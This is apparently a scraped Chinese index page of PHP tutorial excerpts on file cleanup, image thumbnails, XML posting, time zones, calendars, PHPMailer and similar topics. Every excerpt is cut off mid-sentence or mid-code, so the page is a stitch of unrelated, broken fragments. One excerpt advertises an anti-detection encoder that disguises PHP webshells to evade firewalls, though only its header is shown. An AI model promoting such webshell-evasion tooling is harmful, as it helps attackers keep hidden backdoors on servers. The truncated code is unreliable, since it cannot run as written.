那麼有沒有方法自動清理臨時檔案夾呢? 以下代碼就是一個簡單定時清理檔案夾下檔案的php代碼。 ps:這個代碼如果不重啟網站會一直執行下去,所以只用作於本地環境測試,請別在網站上測試。 複製代碼 代碼如下: ignore_user_abort(); //用戶端斷開時,可以讓指令碼繼續在後台執行 set_time_limit(0); //忽略php.ini設定的指令碼已耗用時間限制 $interval = 5*60; //設定執行循環,單位為秒,5分鐘為 5*60=300 do{ $dir =
一,什麼是xml,xml有什麼用途 XML(Extensible Markup Language)即可延伸標記語言 (XML),它與HTML一樣,都是SGML(Standard Generalized Markup Language,標準通用標記語言
圖片太大且規格不統一,顯示的控制需要靠JavaScript來完成,用在行動裝置上時顯示效果不好且流量巨大,需要對現有圖片庫的圖片進行一次處理,產生符合行動裝置用的縮圖,將原來用戶端JS做的工作轉移到伺服器端用PHP的GD庫來集中處理。 圖片源與需要的大小: 複製代碼 代碼如下: $src_img = "wallpaper.jpg"; $dst_w = 300; $dst_h = 200; 剪裁映像,保證映像地區最大化顯示,並按比例縮放到指定大小。一開始採用了 imagecopyresized
在編寫PHP檔案過程中,發現在瀏覽器預覽PHP檔案時,頂部會出現一行空白,影響了頁面的布局。 關於BOM header的解釋如下: 通常情況下,使用Windows系統內建的記事本程式編寫網頁程式,但在編寫或修改php部落格系統代碼後,進行調試時總是會出現如同以下幾點問題: –不能登入或者不能登出; –頁頂出現一條空白; –頁頂出現錯誤警告; –其它不正常的情況。 分析原因:
1.將程式內部時區設定為UTC時間.(UTC 也可以叫 GMT) PHP設定: date_default_timezone_set("UTC"); Yii設定: config/main.php 中添加 :'timeZone'=>'UTC', 如此設定後,PHP產生的時間基本都是UTC時間了.例如: //輸出當前UTC時間 date("Y-m-d H:i:s"); 2.資料庫中儲存UTC時間. 可以用PHP控制,也可以通過設定資料庫時區來實現. 3.服務端發送到前端的時間均為UTC時間格式,
複製代碼 代碼如下://原始映像 $dst = "/upload/20120914/20120914040740-0.jpg"; //注意圖片路徑要正確 //得到原始圖片資訊 $dst_info = getimagesize($dst); switch ($dst_info[2]) { case 1: $dst_im =imagecreatefromgif($dst);break;
在windows伺服器開啟php的gd庫時,使用cgi之後phpinfo()得到的結果中 Configure Command 中並沒有出現gd. Configure Command 後顯示的是: 複製代碼 代碼如下: 1 cscript /nologo configure.js "--enable-snapshot-build" "--disable-isapi" "--enable-debug-pack" "--without-mssql" "--without-pdo-mssql"
php 如何擷取請求的xml資料,對方通過http協議post提交過來xml資料,php如何擷取到這些資料呢?複製代碼 代碼如下: $xml_data =''. ''. '1234567890'. 'lgsoftwares'. 'mypassword'. 'phpmind.com'. ''. ''. ''. ''. ''. ''. 'JHM'. 'OGGSHE'. '101009'. '101509'. '1'. ''. ''; $URL =
使用PHP實現萬年曆功能的要點: •得到當前要處理的月份總共有多少天$days •得到當前要處理的月份的一號是星期幾$dayofweek $days的作用:知道要處理的月份共有多少天,就可以通過迴圈輸出天數了 $dayofweek的作用:只有知道每個月的1號是星期幾,才能知道在輸出天數之前需要輸出多少空格(空白) 最終如下: “萬年曆類”的代碼如下: 複製代碼 代碼如下: /** * PHP萬年曆 * @author Fly 2012/10/16 */ class
複製代碼 代碼如下: //下面代碼會畫出一個很漂亮的葉子 // 定義 PI 一分的角度的值 define("PII", M_PI/180); // 建立映像資源,並定義其背景為 白色,前景色彩為 黑色 $im = imagecreate(670,500); $white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF); $g = imagecolorallocate($im, 0x00, 0x00, 0x00); //
lostwolf寫的 這不是webshell,只是個webshell免殺工具 切勿當初webshell使用 僅限免殺phpwebshell 該工具運行在 cli 模式! 如果有無法突破的檔案內容過濾 可嘗試下用這個工具 免殺大馬! 任意php webshell 通過此工具編碼之後可以饒過國內一些bt的防火牆 複製代碼 代碼如下: /* Title: PHP shell nokill T00L Blog: exploit-db.blogcn.com */ error_reporting(0); @
第一種:複製代碼 代碼如下: ?$str="this is a test \n"; $patten = array("\r\n", "\n", "\r"); ?//先替換掉\r\n,然後是否存在\n,最後替換\r $str=str_replace($order, "", $str); ?> //php 有三種方法來解決 //1、使用str_replace 來替換換行 $str = str_replace(array("\r\n", "\r", "\n"), "", $str);
複製代碼 代碼如下: header("Content-Type:text/html; charset=utf-8"); define('APP_ROOT', str_replace('\\', '/', dirname(__FILE__))); $test = '這裡是一段中文測試代碼!'; function get_tags_arr($title) { require(APP_ROOT.'/pscws4.class.php'); $pscws = new PSCWS4();
複製代碼 代碼如下: function ArrEncode($arr){ foreach($arr as $k=>$v){ if(is_array($v)){ $arr[$k] =ArrEncode($v); }else{ $arr[$k] = urlencode($v); } } return $arr; } 在控制器方法裡面可以。 $arr = ArrEncode($uns); echo urldecode(json_encode($arr));
php開發中肯定會遇到將excel檔案內容匯入到資料庫的需要,php-excel-reader是一個讀取excel的類,可以很輕鬆的使用它讀取excel檔案非常方便。php-excel-reader下載地址: http://www.jb51.net/codes/67223.html我下載的是php-excel-reader-2.21版本,使用的時候還遇到幾個小問題,後面再細說,先奉上php執行個體:我使用的excel如:php代碼如下:複製代碼 代碼如下: /*by
一.下載 首先,我們先把資料下下來先。 如果不需要轉中文的話,只需要下載它就可以:xpdf-bin-linux-3.03.tar,如果需要轉中文,那你就還需要它了:xpdf-chinese-simplified.tar 二.安裝 現在,下載完畢了吧,我們可以進行安裝了。 [root@localhost ~]# mkdir -p /lcf/upan [root@localhost ~]# mkdir -p /lcf/cdrom [root@localhost ~]# mkdir -p
變數的來源: 1 從php分配的變數,使用assign分配 2 系統變數 3 路徑替換變數 不能使用函數的變數 變數輸出快捷標籤 {@var}//輸出Session變數 和{$Think.session.var}等效 {#var}//輸出Cookie變數 和{$Think.cookie.var}等效 {&var}//輸出配置參數 和{$Think.config.var}等效 {%var}//輸出語言變數 和{$Think.lang.var}等效 {.var}//輸出Get變數 和{$Think.
php雖然提供了mail()函數,但並不好用,而PHPMailer是一個不錯的郵件發送工具,使用起來也是非常簡單!使用PHPMailer發送郵件:複製代碼 代碼如下: header("content-type:text/html;charset=utf-8"); ini_set("magic_quotes_runtime",0); require 'class.phpmailer.php'; try { $mail = new PHPMailer(true); $mail->IsSMTP();
單例類至少擁有以下三種公用元素: 必須擁有一個建構函式,並且必須被標記為private。 擁有一個儲存類的執行個體的靜態成員變數。 擁有一個訪問這個執行個體的公用的靜態方法具體使用方面,我在下面php執行個體中注釋的很清楚:複製代碼 代碼如下: /** * by www.phpddt.com */ class Mysql{ //該屬性用來儲存執行個體 private static $conn; //建構函式為private,防止建立對象 private
核心代碼: 複製代碼 代碼如下: @header("http/1.1 404 not found"); @header("status: 404 not found"); echo 'echo 404'; exit(); 如果需要載入404頁面可以如下代碼,主要是注意檔案路徑 複製代碼 代碼如下: @header("http/1.1 404 not found"); @header("status: 404 not found"); include("../../404.htm");